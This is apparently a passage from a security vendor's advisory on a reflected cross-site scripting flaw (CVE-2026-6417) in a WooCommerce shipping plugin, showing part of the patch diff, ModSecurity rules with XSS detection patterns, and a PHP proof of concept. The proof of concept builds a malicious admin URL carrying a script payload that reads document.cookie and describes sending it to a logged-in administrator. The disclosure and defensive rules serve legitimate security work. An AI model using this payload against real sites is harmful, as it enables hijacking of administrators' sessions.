+                    __('GLS pickup location changed to: %1$s (%2$s)', 'gls-shipping-for-woocommerce'),
                     $pickup_data->name,
                     $pickup_data->id
                 );
@@ -634,15 +644,25 @@
             return;
         }

-		// If this is an autosave, our form has not been submitted, so we don't want to do anything.
-		if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE)
-			return;
+        // If this is an autosave, our form has not been submitted, so we don't want to do anything.
+        if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {
+            return;
+        }

-		if (did_action('save_post_shop_order') > 1) return;
+        if (did_action('save_post_shop_order') > 1) {
+            return;
+        }

         // Check if this is an order edit page
         $screen = get_current_screen();
-        if (!$screen || !in_array($screen->id, ['shop_order', 'woocommerce_page_wc-orders'])) {
+        if (!$screen || !in_array($screen->id, array('shop_order', 'woocommerce_page_wc-orders'), true)) {
+            return;
+        }
+
+        // Verify WooCommerce meta box nonce
+        // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Nonce verification only
+        $nonce = isset($_POST['woocommerce_meta_nonce']) ? wp_unslash($_POST['woocommerce_meta_nonce']) : '';
+        if (!wp_verify_nonce($nonce, 'woocommerce_save_data')) {
             return;
         }

@@ -666,19 +686,19 @@
         } elseif (isset($_POST['gls_print_position_new']) && !empty($_POST['gls_print_position_new'])) {
             $print_position = intval($_POST['gls_print_position_new']);
         }
-
+
         if ($print_position !== null) {
             $order->update_meta_data('_gls_print_position', $print_position);
         }

         // Save COD reference if provided (check both possible fields)
         $cod_reference = null;
-        if (isset($_POST['gls_cod_reference']) && $_POST['gls_cod_reference'] !== '') {
-            $cod_reference = sanitize_text_field($_POST['gls_cod_reference']);
-        } elseif (isset($_POST['gls_cod_reference_new']) && $_POST['gls_cod_reference_new'] !== '') {
-            $cod_reference = sanitize_text_field($_POST['gls_cod_reference_new']);
+        if (isset($_POST['gls_cod_reference']) && !empty($_POST['gls_cod_reference'])) {
+            $cod_reference = sanitize_text_field(wp_unslash($_POST['gls_cod_reference']));
+        } elseif (isset($_POST['gls_cod_reference_new']) && !empty($_POST['gls_cod_reference_new'])) {
+            $cod_reference = sanitize_text_field(wp_unslash($_POST['gls_cod_reference_new']));
         }
-
+
         if ($cod_reference !== null) {
             $order->update_meta_data('_gls_cod_reference', $cod_reference);
         }
@@ -703,10 +723,10 @@

         // Special handling for select and text fields
         if (isset($_POST['gls_express_delivery_service'])) {
-            $services['express_delivery_service'] = sanitize_text_field($_POST['gls_express_delivery_service']);
+            $services['express_delivery_service'] = sanitize_text_field(wp_unslash($_POST['gls_express_delivery_service']));
         }
         if (isset($_POST['gls_sms_service_text'])) {
-            $services['sms_service_text'] = sanitize_text_field($_POST['gls_sms_service_text']);
+            $services['sms_service_text'] = sanitize_text_field(wp_unslash($_POST['gls_sms_service_text']));
         }

         if (!empty($services)) {
--- a/gls-shipping-for-woocommerce/includes/admin/class-gls-shipping-pickup-history.php
+++ b/gls-shipping-for-woocommerce/includes/admin/class-gls-shipping-pickup-history.php
@@ -71,9 +71,11 @@
             'created_at' => current_time('mysql')
         );

+        // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- Custom plugin table
         $result = $wpdb->insert($this->table_name, $data);
-
+
         if ($result === false) {
+            // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- Intentional error logging for debugging
             error_log('Failed to save pickup history: ' . $wpdb->last_error);
             return false;
         }
@@ -114,15 +116,20 @@
         }

         // Get total count
+        // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared -- Table name uses $wpdb->prefix + constant, WHERE uses only hardcoded placeholders
         $count_sql = "SELECT COUNT(*) FROM {$this->table_name} {$where_sql}";
         if (!empty($where_values)) {
+            // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- SQL has placeholders, values are sanitized
             $count_sql = $wpdb->prepare($count_sql, $where_values);
         }
+        // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.NotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter -- Custom table with dynamic filtering
         $total_items = $wpdb->get_var($count_sql);

         // Get records - order by newest first (created_at DESC), then by ID DESC as secondary sort
+        // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name uses $wpdb->prefix + constant, WHERE uses only hardcoded placeholders
         $sql = "SELECT * FROM {$this->table_name} {$where_sql} ORDER BY created_at DESC, id DESC LIMIT %d OFFSET %d";
         $query_values = array_merge($where_values, array($per_page, $offset));
+        // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.NotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter -- Custom table with prepared placeholders
         $records = $wpdb->get_results($wpdb->prepare($sql, $query_values));

         // Parse JSON data
@@ -149,10 +156,12 @@
     {
         global $wpdb;

+        // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Table name uses $wpdb->prefix + constant
         $record = $wpdb->get_row($wpdb->prepare(
             "SELECT * FROM {$this->table_name} WHERE id = %d",
             $id
         ));
+        // phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared

         if ($record) {
             $record->request_data = json_decode($record->request_data, true);
--- a/gls-shipping-for-woocommerce/includes/admin/class-gls-shipping-pickup.php
+++ b/gls-shipping-for-woocommerce/includes/admin/class-gls-shipping-pickup.php
@@ -102,7 +102,7 @@
         $message = '';
         $error = '';

-        if (isset($_POST['schedule_pickup']) && wp_verify_nonce($_POST['gls_pickup_nonce'], 'gls_pickup_action')) {
+        if (isset($_POST['schedule_pickup']) && isset($_POST['gls_pickup_nonce']) && wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['gls_pickup_nonce'])), 'gls_pickup_action')) {
             $result = $this->process_pickup_form();
             if (is_wp_error($result)) {
                 $error = $result->get_error_message();
@@ -114,7 +114,7 @@
         // Get all addresses (including store fallback as first option)
         $all_addresses = GLS_Shipping_Sender_Address_Helper::get_all_addresses_with_store_fallback();

-        $current_tab = isset($_GET['tab']) ? $_GET['tab'] : 'schedule';
+        $current_tab = isset($_GET['tab']) ? sanitize_key(wp_unslash($_GET['tab'])) : 'schedule';

         ?>
         <div class="wrap">
@@ -235,6 +235,7 @@
      */
     private function render_history_tab()
     {
+        // phpcs:disable WordPress.Security.NonceVerification.Recommended -- Display-only pagination/filtering
         // Check if viewing details
         if (isset($_GET['view_details'])) {
             $this->render_pickup_details(intval($_GET['view_details']));
@@ -242,9 +243,11 @@
         }

         // Get filter parameters
-        $search = isset($_GET['search']) ? sanitize_text_field($_GET['search']) : '';
-        $status_filter = isset($_GET['status_filter']) ? sanitize_text_field($_GET['status_filter']) : '';
+        $search = isset($_GET['search']) ? sanitize_text_field(wp_unslash($_GET['search'])) : '';
+        $status_filter = isset($_GET['status_filter']) ? sanitize_text_field(wp_unslash($_GET['status_filter'])) : '';
         $current_page = isset($_GET['paged']) ? max(1, intval($_GET['paged'])) : 1;
+        // phpcs:enable WordPress.Security.NonceVerification.Recommended
+
         $per_page = 20;

         // Get history data
@@ -267,7 +270,7 @@
     private function render_pickup_details($pickup_id)
     {
         if (!current_user_can('manage_woocommerce')) {
-            wp_die(__('Permission denied.', 'gls-shipping-for-woocommerce'));
+            wp_die(esc_html__('Permission denied.', 'gls-shipping-for-woocommerce'));
         }

         $history = new GLS_Shipping_Pickup_History();
@@ -289,6 +292,7 @@
                 <a href="?page=gls-pickup&tab=history" class="button" style="margin-top: 24px;"><?php esc_html_e('← Back to History', 'gls-shipping-for-woocommerce'); ?></a>
             </div>

+            <?php /* translators: %d: pickup ID number */ ?>
             <h2><?php echo esc_html(sprintf(__('Pickup Details #%d', 'gls-shipping-for-woocommerce'), $pickup->id)); ?></h2>

             <div class="pickup-details-container">
@@ -497,6 +501,7 @@
         ?>
         <div class="tablenav bottom">
             <div class="tablenav-pages">
+                <?php /* translators: %d: number of items */ ?>
                 <span class="displaying-num"><?php echo esc_html(sprintf(__('%d items', 'gls-shipping-for-woocommerce'), $data['total'])); ?></span>
                 <span class="pagination-links">
                     <?php if ($data['current_page'] > 1): ?>
@@ -540,6 +545,7 @@

     /**
      * Process pickup form submission
+     * Nonce verified in calling method (render_pickup_page)
      */
     private function process_pickup_form()
     {
@@ -548,6 +554,7 @@
             return new WP_Error('permission_denied', __('Permission denied.', 'gls-shipping-for-woocommerce'));
         }

+        // phpcs:disable WordPress.Security.NonceVerification.Missing -- Nonce verified in render_pickup_page() before calling this method
         try {
             // Get all addresses for validation
             $all_addresses = GLS_Shipping_Sender_Address_Helper::get_all_addresses_with_store_fallback();
@@ -565,16 +572,16 @@
                 return new WP_Error('invalid_package_count', __('Package count must be at least 1.', 'gls-shipping-for-woocommerce'));
             }

-            $pickup_date_from = sanitize_text_field($_POST['pickup_date_from'] ?? '');
-            $pickup_date_to = sanitize_text_field($_POST['pickup_date_to'] ?? '');
-
+            $pickup_date_from = isset($_POST['pickup_date_from']) ? sanitize_text_field(wp_unslash($_POST['pickup_date_from'])) : '';
+            $pickup_date_to = isset($_POST['pickup_date_to']) ? sanitize_text_field(wp_unslash($_POST['pickup_date_to'])) : '';
+
             if (empty($pickup_date_from) || empty($pickup_date_to)) {
                 return new WP_Error('missing_dates', __('Pickup dates are required.', 'gls-shipping-for-woocommerce'));
             }

             // Combine date and time fields
-            $pickup_time_from = !empty($_POST['pickup_time_from']) ? sanitize_text_field($_POST['pickup_time_from']) : '08:00';
-            $pickup_time_to = !empty($_POST['pickup_time_to']) ? sanitize_text_field($_POST['pickup_time_to']) : '17:00';
+            $pickup_time_from = !empty($_POST['pickup_time_from']) ? sanitize_text_field(wp_unslash($_POST['pickup_time_from'])) : '08:00';
+            $pickup_time_to = !empty($_POST['pickup_time_to']) ? sanitize_text_field(wp_unslash($_POST['pickup_time_to'])) : '17:00';

             $pickup_datetime_from = $pickup_date_from . ' ' . $pickup_time_from;
             $pickup_datetime_to = $pickup_date_to . ' ' . $pickup_time_to;
@@ -608,6 +615,7 @@
         } catch (Exception $e) {
             return new WP_Error('api_error', $e->getMessage());
         }
+        // phpcs:enable WordPress.Security.NonceVerification.Missing
     }

 }
--- a/gls-shipping-for-woocommerce/includes/admin/class-gls-shipping-product-restrictions.php
+++ b/gls-shipping-for-woocommerce/includes/admin/class-gls-shipping-product-restrictions.php
@@ -49,6 +49,7 @@
      */
     public function save_product_shipping_restriction_field($post_id)
     {
+        // phpcs:ignore WordPress.Security.NonceVerification.Missing -- WooCommerce handles nonce verification for product meta
         $restrict_parcel_shipping = isset($_POST['_gls_restrict_parcel_shipping']) ? 'yes' : 'no';
         update_post_meta($post_id, '_gls_restrict_parcel_shipping', $restrict_parcel_shipping);
     }
--- a/gls-shipping-for-woocommerce/includes/api/class-gls-shipping-api-service.php
+++ b/gls-shipping-for-woocommerce/includes/api/class-gls-shipping-api-service.php
@@ -92,21 +92,21 @@
 				$error_message .= ': ' . esc_html($body['Message']);
 			}
 			$this->log_error($error_message, $post_fields);
-			throw new Exception($error_message);
+			throw new Exception(esc_html($error_message));
 		}

 		// Check for JSON decode errors
 		if (json_last_error() !== JSON_ERROR_NONE) {
 			$error_message = 'Invalid JSON response from GLS API: ' . json_last_error_msg();
 			$this->log_error($error_message, $post_fields);
-			throw new Exception($error_message);
+			throw new Exception(esc_html($error_message));
 		}

 		// Check for general API errors (authentication, authorization, etc.)
 		if (isset($body['ErrorCode']) && $body['ErrorCode'] !== 0) {
 			$error_message = isset($body['ErrorDescription']) ? esc_html($body['ErrorDescription']) : 'Unknown GLS API error';
 			$this->log_error($error_message, $post_fields);
-			throw new Exception($error_message);
+			throw new Exception(esc_html($error_message));
 		}

 		$failed_orders = [];
@@ -119,7 +119,7 @@
 				// If ClientReferenceList is empty, this is likely a general error (like authentication)
 				if (empty($error['ClientReferenceList'])) {
 					$this->log_error($error_message, $post_fields);
-					throw new Exception($error_message);
+					throw new Exception(esc_html($error_message));
 				}

 				// Process order-specific errors
@@ -151,8 +151,8 @@

 	public function get_parcel_status($parcel_number)
 	{
-		$tracking_api_url = $this->get_api_url('ParcelService', 'GetParcelStatuses');
-
+		$this->api_url = $this->get_api_url('ParcelService', 'GetParcelStatuses');
+
 		$post_fields = array(
 			'Username' => $this->get_option("username"),
 			'Password' => $this->get_password(),
@@ -168,7 +168,7 @@
 			'data_format' => 'body',
 		);

-		$response = wp_remote_post($tracking_api_url, $params);
+		$response = wp_remote_post($this->api_url, $params);

 		if (is_wp_error($response)) {
 			$error_message = esc_html($response->get_error_message());
@@ -196,7 +196,7 @@
 			$error_message = 'Tracking error: ' . implode(', ', $errors);
 			// Also log the error with more context
 			$this->log_error($error_message . ' (Parcel Number: ' . $parcel_number . ')', $post_fields);
-			throw new Exception($error_message);
+			throw new Exception(esc_html($error_message));
 		}

 		return $body;
@@ -218,9 +218,10 @@
 	private function log_error($error_message, $params)
 	{
 		$sanitized_params = $this->sanitize_params_for_logging($params);
-		error_log('** API request to: ' . $this->api_url . ' FAILED **
-			Request Params: {' . wp_json_encode($sanitized_params) . '}
-			Error: ' . $error_message . '
+		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- Intentional API error logging for debugging
+		error_log('** API request to: ' . $this->api_url . ' FAILED **
+			Request Params: {' . wp_json_encode($sanitized_params) . '}
+			Error: ' . $error_message . '
 			** END **');
 	}

@@ -235,10 +236,11 @@
 		if (isset($body['POD']) && $body['POD']) {
 			$body['POD'] = 'SANITIZED';
 		}
-
-		error_log('** API request to: ' . $this->api_url . ' SUCCESS **
-				Request Params: {' . wp_json_encode($sanitized_params) . '}
-				Response Body: ' . wp_json_encode($body) . '
+
+		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- Intentional API response logging for debugging
+		error_log('** API request to: ' . $this->api_url . ' SUCCESS **
+				Request Params: {' . wp_json_encode($sanitized_params) . '}
+				Response Body: ' . wp_json_encode($body) . '
 				** END **');
 	}
 }
--- a/gls-shipping-for-woocommerce/includes/api/class-gls-shipping-pickup-api-service.php
+++ b/gls-shipping-for-woocommerce/includes/api/class-gls-shipping-pickup-api-service.php
@@ -62,7 +62,7 @@

         // Handle invalid date
         if ($timestamp === false) {
-            throw new Exception('Invalid date format: ' . $date_string);
+            throw new Exception(esc_html('Invalid date format: ' . $date_string));
         }

         return '/Date(' . ($timestamp * 1000) . ')/';
@@ -141,36 +141,36 @@

         if (is_wp_error($response)) {
             $error_message = $response->get_error_message();
-            throw new Exception('Error communicating with GLS API: ' . $error_message);
+            throw new Exception(esc_html('Error communicating with GLS API: ' . $error_message));
         }

         $body = json_decode(wp_remote_retrieve_body($response), true);
         $response_code = wp_remote_retrieve_response_code($response);

         if ($response_code !== 200) {
-            throw new Exception('GLS API returned error code: ' . $response_code);
+            throw new Exception(esc_html('GLS API returned error code: ' . $response_code));
         }

         // Check for API errors
         if (isset($body['ErrorCode']) && $body['ErrorCode'] !== 0) {
             $error_message = isset($body['ErrorDescription']) ? $body['ErrorDescription'] : 'Unknown API error';
-            throw new Exception('GLS API Error: ' . $error_message);
+            throw new Exception(esc_html('GLS API Error: ' . $error_message));
         }

         // Check for pickup request specific errors
         if (isset($body['PickupRequestErrors']) && !empty($body['PickupRequestErrors'])) {
             $pickup_errors = $body['PickupRequestErrors'];
             $error_messages = array();
-
+
             foreach ($pickup_errors as $error) {
                 if (isset($error['ErrorCode']) && $error['ErrorCode'] !== 0) {
                     $error_msg = isset($error['ErrorDescription']) ? $error['ErrorDescription'] : 'Unknown pickup error';
                     $error_messages[] = $error_msg;
                 }
             }
-
+
             if (!empty($error_messages)) {
-                throw new Exception('GLS Pickup Error: ' . implode('; ', $error_messages));
+                throw new Exception(esc_html('GLS Pickup Error: ' . implode('; ', $error_messages)));
             }
         }

@@ -212,6 +212,7 @@
             'response' => $response
         );

+        // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- Intentional API logging for debugging
         error_log('GLS Pickup API Response: ' . wp_json_encode($log_entry));
     }

@@ -227,6 +228,7 @@
             'request_data' => $pickup_data // pickup_data doesn't contain credentials, safe to log
         );

+        // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- Intentional API error logging for debugging
         error_log('GLS Pickup API Error: ' . wp_json_encode($log_entry));
     }
 }
--- a/gls-shipping-for-woocommerce/includes/methods/class-gls-shipping-method-parcel-locker-zones.php
+++ b/gls-shipping-for-woocommerce/includes/methods/class-gls-shipping-method-parcel-locker-zones.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 function gls_shipping_method_parcel_locker_zones_init()
 {
--- a/gls-shipping-for-woocommerce/includes/methods/class-gls-shipping-method-parcel-locker.php
+++ b/gls-shipping-for-woocommerce/includes/methods/class-gls-shipping-method-parcel-locker.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 function gls_shipping_method_parcel_locker_init()
 {
@@ -66,6 +69,7 @@
 					'weight_based_rates' => array(
 						'title'       => __('Weight Based Rates: max_weight|cost', 'gls-shipping-for-woocommerce'),
 						'type'        => 'textarea',
+						/* translators: %s: weight unit (e.g. kg, lbs) */
 						'description' => sprintf(__('Optional: Enter weight based rates (one per line). Format: max_weight|cost. Example: 1|100 means up to 1 %s costs 100. Leave empty to use default price.', 'gls-shipping-for-woocommerce'), $weight_unit),
 						'default'     => '',
 						'placeholder' => 'max_weight|cost
--- a/gls-shipping-for-woocommerce/includes/methods/class-gls-shipping-method-parcel-shop-zones.php
+++ b/gls-shipping-for-woocommerce/includes/methods/class-gls-shipping-method-parcel-shop-zones.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 function gls_shipping_method_parcel_shop_zones_init()
 {
@@ -64,6 +67,7 @@
 					'weight_based_rates' => array(
 						'title'       => __('Weight Based Rates: max_weight|cost', 'gls-shipping-for-woocommerce'),
 						'type'        => 'textarea',
+						/* translators: %s: weight unit (e.g. kg, lbs) */
 						'description' => sprintf(__('Optional: Enter weight based rates (one per line). Format: max_weight|cost. Example: 1|100 means up to 1 %s costs 100. Leave empty to use default price.', 'gls-shipping-for-woocommerce'), $weight_unit),
 						'default'     => '',
 						'placeholder' => 'max_weight|cost
--- a/gls-shipping-for-woocommerce/includes/methods/class-gls-shipping-method-parcel-shop.php
+++ b/gls-shipping-for-woocommerce/includes/methods/class-gls-shipping-method-parcel-shop.php
@@ -1,4 +1,7 @@
 <?ph

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-6417
# Block reflected XSS via failed_orders parameter in GLS Shipping for WooCommerce
SecRule REQUEST_URI "@rx /wp-admin/admin.php" 
  "id:20264171,phase:2,deny,status:403,chain,msg:'CVE-2026-6417 - GLS XSS via failed_orders',severity:'CRITICAL',tag:'CVE-2026-6417'"
  SecRule ARGS:failed_orders "@rx <script[^>]*>.*</script[^>]*>|<img[^>]*onerror|<svg[^>]*onload|javascript:s*" 
    "t:lowercase,t:urlDecodeUni,chain"
    SecRule ARGS:bulk_action "@streq print_gls_labels" 
      "t:lowercase"

# Block XSS payloads in failed_orders via GET requests (common for reflected XSS)
SecRule QUERY_STRING "@rx (?:?|&)failed_orders=.*?<script[^>]*>.*?</script[^>]*>" 
  "id:20264172,phase:2,deny,status:403,msg:'CVE-2026-6417 - GLS XSS via failed_orders (GET)',severity:'CRITICAL',tag:'CVE-2026-6417'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6417 - GLS Shipping for WooCommerce <= 1.4.0 - Reflected Cross-Site Scripting via 'failed_orders'

// Configuration: Set the target WordPress admin URL
$target_url = 'http://example.com/wp-admin/admin.php?page=wc-settings&tab=shipping&section=gls';

// The malicious payload to inject via the 'failed_orders' parameter
$xss_payload = '<script>alert(document.cookie)</script>';

// Build the malicious URL with the payload
$malicious_url = $target_url . '&bulk_action=print_gls_labels&gls_labels_printed=1&gls_labels_failed=1&failed_orders=' . urlencode($xss_payload);

echo "[+] Atomic Edge CVE-2026-6417 Proof of Conceptn";
echo "[+] Target: $target_urln";
echo "[+] XSS Payload: $xss_payloadn";
echo "[+] Malicious URL: $malicious_urlnn";

// Inform the user about the attack vector
echo "[*] To test, send this URL to an authenticated WordPress admin.n";
echo "[*] When they visit the URL, the XSS payload will execute in their browser.n";
echo "[*] The script will display the admin's cookies as an alert.nn";

// Optionally, demonstrate the exploitation via cURL (requires valid admin cookie)
echo "[!] To automate with an admin session cookie, uncomment the cURL section below.n";

/*
// Uncomment and set the admin cookie to test with cURL
$admin_cookie = 'wordpress_logged_in_xxx=admin_session_cookie';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Cookie: ' . $admin_cookie
));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 3);
$response = curl_exec($ch);
curl_close($ch);

// Check if the payload appears in the response (unexecuted, just present)
if (strpos($response, $xss_payload) !== false) {
    echo "[+] XSS payload found in response - vulnerability confirmed.n";
} else {
    echo "[-] Payload not found - site may be patched or not vulnerable.n";
}
*/

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School